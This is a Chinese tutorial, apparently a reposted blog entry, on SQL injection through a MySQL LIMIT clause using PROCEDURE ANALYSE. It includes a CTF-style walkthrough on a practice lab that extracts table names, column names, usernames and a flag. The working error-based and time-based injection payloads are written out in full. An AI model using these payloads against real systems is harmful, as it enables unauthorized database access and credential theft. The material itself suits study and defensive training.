当前位置: 首页 > news >正文

Mysql下Limit注入方法(此方法仅适用于5.0.0<mysql<5.6.6的版本)

SQL语句类似下面这样:(此方法仅适用于5.0.0<mysql<5.6.6的版本)

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

  问题的关键在于,语句中有 order by 关键字,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字。

我们先看看 mysql 5.x 的文档中的 select 的语法:

  SELECT[ALL | DISTINCT | DISTINCTROW ][HIGH_PRIORITY][STRAIGHT_JOIN][SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT][SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]select_expr [, select_expr ...][FROM table_references[WHERE where_condition][GROUP BY {col_name | expr | position}[ASC | DESC], ... [WITH ROLLUP]][HAVING where_condition][ORDER BY {col_name | expr | position}[ASC | DESC], ...][LIMIT {[offset,] row_count | row_count OFFSET offset}][PROCEDURE procedure_name(argument_list)][INTO OUTFILE 'file_name' export_options| INTO DUMPFILE 'file_name'| INTO var_name [, var_name]][FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE。

尝试用这个存储过程:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE支持两个参数,试试两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);ERROR 1386 (HY000): Can't use ORDER clause with this procedure

在 ANALYSE 中插入 sql 语句,sleep 没有被执行,可以使用报错注入:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

1.使用 PROCEDURE ANALYSE:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20PROCEDURE%20ANALYSE(1)%23&num=1Can't use ORDER clause with this procedure
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

2.使用报错注入爆表:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=8&num=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))),1)%23XPATH syntax error: ':article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到表名:article,user

3.爆列:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x61727469636c65))),1)%23%20&num=100%20%23XPATH syntax error: ':id,title,contents,isread'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到article表的列名:id,title,contents,isread

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)%23%20&num=100%20%23XPATH syntax error: ':id,username,password,lastloginI'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

同样得到user表的列名:id,username,password,lastloginI

4.爆字段:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(username)%20from%20user))),1)%23%20&num=1XPATH syntax error: ':user,admin,flag'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

通过查询user表的username列,发现其中有一个字段是flag,那么直接读取flag字段的内容就可以了:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user%20where%20username=0x666c6167))),1)%23%20&num=1XPATH syntax error: ':myflagishere'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到flag:myflagishere

http://www.lryc.cn/news/354395.html

相关文章:

  • Makefile学习笔记15|u-boot顶层Makefile01
  • C++笔记之Unix时间戳、UTC、TSN、系统时间戳、时区转换、local时间笔记
  • leetcode338-Counting Bits
  • sql server怎么存储图片
  • 大模型提示词Prompt学习
  • 蓝桥杯python组备赛指南
  • 架构师系列-定时任务解决方案
  • 新计划,不断变更!做自己,接受不美好!猪肝移植——早读(逆天打工人爬取热门微信文章解读)
  • 【数据结构】二叉树-堆(上)
  • 【Spring Boot】在项目中使用Spring AI
  • 【java程序设计期末复习】chapter3 运算符、表达式和语句
  • 【建议收藏】30个较难Python脚本,纯干货分享
  • 01-05.Vue自定义过滤器
  • C++系列-static成员
  • Git | 创建和管理Pull Request总结
  • 电机控制系列模块解析(23)—— 同步机初始位置辨识
  • 【数据库基础-mysql详解之索引的魅力(N叉树)】
  • 力扣739. 每日温度
  • KDE6桌面于2024年2月发布
  • 「TypeScript系列」TypeScript 对象及对象的使用场景
  • shell从入门到精通(22)shell正则匹配~=
  • 【Spring】使用Spring常用导入依赖介绍
  • PC端应用订阅SDK接入攻略
  • WebService的wsdl详解
  • 数据分析实战:从0到1完成数据获取分析到可视化
  • 【Spring】深入理解 Spring 中的 ImportSelector、Aware 和 Processor 接口
  • 【C语言】strstr函数的使用和模拟
  • 五分钟”手撕“异常
  • 【vue3+elementuiplus】el-select下拉框会自动触发校验规则
  • 【论文复现】LSTM长短记忆网络